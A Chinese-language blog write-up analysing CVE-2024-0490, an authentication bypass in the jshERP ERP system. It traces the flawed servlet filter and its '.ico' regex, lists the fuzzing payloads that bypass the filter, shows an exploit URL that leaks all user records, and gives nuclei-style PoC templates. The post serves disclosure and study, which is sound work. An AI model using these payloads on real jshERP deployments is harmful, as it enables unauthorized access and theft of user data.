CVE-2024-0490 ERP接口访问绕过漏洞分析

本次我们继续以漏洞挖掘者的视角,来分析此次漏洞产生的原因......

参考 

NVD - CVE-2024-0490https://nvd.nist.gov/vuln/detail/CVE-2024-0490 项目下载地址,此次测试版本为3.1版本 实际测试3.2也存在

https://github.com/jishenghua/jshERP/releaseshttps://github.com/jishenghua/jshERP/releases

接口调用栈

我们在正常调用接口时, 如getAllList接口,调用栈如下

ac38ff4d42de45e3808bf583c4e6a762.png

其中有一个filter 额外的引人注意,doFilter:68 它位于com.jsh.erp.filter包下,是作者自己定义的过滤器

分析自定义过滤器

我们看看用作者定义的Filter  

package com.jsh.erp.filter;
public class LogCostFilter implements Filter {

    private static final String FILTER_PATH = "filterPath";
    private static final String IGNORED_PATH = "ignoredUrl";

    private static final List<String> ignoredList = new ArrayList<>();
    private String[] allowUrls;
    private String[] ignoredUrls;//重点分析
    @Resource
    private RedisService redisService;
...
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        HttpServletRequest servletRequest = (HttpServletRequest) request;
        HttpServletResponse servletResponse = (HttpServletResponse) response;
        String requestUrl = servletRequest.getRequestURI();
        //具体,比如:处理若用户未登录,则跳转到登录页
        Object userId = redisService.getObjectFromSessionByKey(servletRequest,"userId");
        if(userId!=null) { //如果已登录,不阻止
            chain.doFilter(request, response);
            return;
        }
        if (requestUrl != null && (requestUrl.contains("/doc.html") ||
            requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {
            chain.doFilter(request, response);
            return;
        }
        if (verify(ignoredList, requestUrl)) {//重点关注
            chain.doFilter(servletRequest, response);
            return;
        }
        if (null != allowUrls && allowUrls.length > 0) {
            for (String url : allowUrls) {
                if (requestUrl.startsWith(url)) {
                    chain.doFilter(request, response);
                    return;
                }
            }
        }
        servletResponse.sendRedirect("/login.html");
    }
...
}

放行了/doc.html

比较注意的是verify, 不过再次之前看看作者定义的这个Filter类初始化是怎样的

@Override
public void init(FilterConfig filterConfig) throws ServletException {
    String filterPath = filterConfig.getInitParameter(FILTER_PATH);
    if (!StringUtils.isEmpty(filterPath)) {
        allowUrls = filterPath.contains("#") ? filterPath.split("#") : new String[]{filterPath};
    }

    String ignoredPath = filterConfig.getInitParameter(IGNORED_PATH);
    if (!StringUtils.isEmpty(ignoredPath)) {
        ignoredUrls = ignoredPath.contains("#") ? ignoredPath.split("#") : new String[]{ignoredPath};
        for (String ignoredUrl : ignoredUrls) {
            ignoredList.add(ignoredUrl);
        }
    }
}

ef5429c53f9647b09ac9f85e547ea87c.png

允许访问的url 是这么多,也就是说这些访问url,我们的请求会chain.doFilter(request, response);会被正常转发,也是一个绕过点

继续分析ignoredList这参数
28f01cfef01542e985cfb1ad3c91a2db.png

.ico这个被添加到了ignoredList , 难道想忽略url的这个后缀吗?

对象的初始化分析完了,接下来重点分析这段代码,看看verify的逻辑。目前我们已经知道ignoredList 中存在值.ico

    if (verify(ignoredList, requestUrl)) {//重点关注
        chain.doFilter(servletRequest, response);
        return;
    }

 verify方法分析

追入verify方法

private static boolean verify(List<String> ignoredList, String url) {
    for (String regex : ignoredList) {
        Pattern pattern = Pattern.compile(regexPrefix + regex + regexSuffix);
        Matcher matcher = pattern.matcher(url);
        if (matcher.matches()) {
            return true;
        }
    }
    return false;
}

 第一轮regex变成.ico,之后加上前缀与后缀pattern = “^..ico.$” ,这个正则表达式,它的含义是:以任意字符(包括空字符)开始,然后匹配.ico字符串,最后以任意字符结束。换句话说,它匹配包含.ico字符串的文本

匹配url是否存在返回bool值,若if条件成立调用chain.doFilter(servletRequest, response);

可以看的出来作者想放行网站的图标像favicon.ico这种的资源文件,但是这也无意中可能照成某些接口被访问的漏洞

 

过滤器绕过

有经验的大佬可能已经想到了绕过的方法!我先不透露,先分享自己的方法吧,基于模糊测试。

首先通过网络检索收集到足够多的payload ,之后进行模糊测试

思路:

1,../跳转
        /jshERP-boot/user/a.ico/../getAllList
        /jshERP-boot/user/doc.html/../getAllList

2,截断
         /jshERP-boot/user/getAllList%00.ico // %00阶段老古董了
         /jshERP-boot/user/getAllList%0d%0a%0d%0a.ico //CRLF 注入
        /jshERP-boot/user/getAllList?a=.ico //get传参 /jshERP-boot/user/getAllList;.ico //分号表结束
        /jshERP-boot/user/getAllList#.ico //# 是用来指导浏览器动作

测试结果
        /jshERP-boot/user/a.ico/../getAllList 成功

        /jshERP-boot/user/doc.html/../getAllList 成功
        /jshERP-boot/user/getAllList%00.ico 400
        /jshERP-boot/user/getAllList%0d%0a%0d%0a.ico 404
        /jshERP-boot/user/getAllList?a=.ico 302
        /jshERP-boot/user/getAllList;.ico 成功
        /jshERP-boot/user/getAllList#.ico 400

 如此我们得到了两个有效payload(其中../的逻辑是一样的所以不算)
/jshERP-boot/user/a.ico/../getAllList 与 /jshERP-boot/user/getAllList;.ico

漏洞复现

访问url 信息泄露

http://127.0.0.1:9999/jshERP-boot/user/getAllList;.ico

 7ea2ad428f184768aa50bdf5617fd042.png

可以看到全部的用户信息,随后我们用这些信息尝试登录一下,这里可用提供文档接口调试,

6c8816a8815241d7b37d32f193b9ebdd.png

 也可用burp

03c25a27e6744e6697c28c7f48ae2f3e.png

 以上只是其中的一种利用方式,当然我们可以访问添加用户的接口,添加一个用户之后登录即可。

漏洞修补

可以看出作者把.ico 以及ignoredList 都拿掉了,这是其1

e493328096d84f5d8898782cd00a94d9.png

其2 
对userService.getUser() 也进行了优化

 

附赠poc

http:
  - method: GET
    path:
      - "{{BaseURL}}/jshERP-boot/user/a.ico/../getAllList"

or

http:
  - method: GET
    path:
      - "{{BaseURL}}/jshERP-boot/user/getAllList;.ico"

or

http:
        - method: GET
        path: - "{{BaseURL}}/jshERP-boot/user/doc.html/../getAllList"

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

昵称还在想呢

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值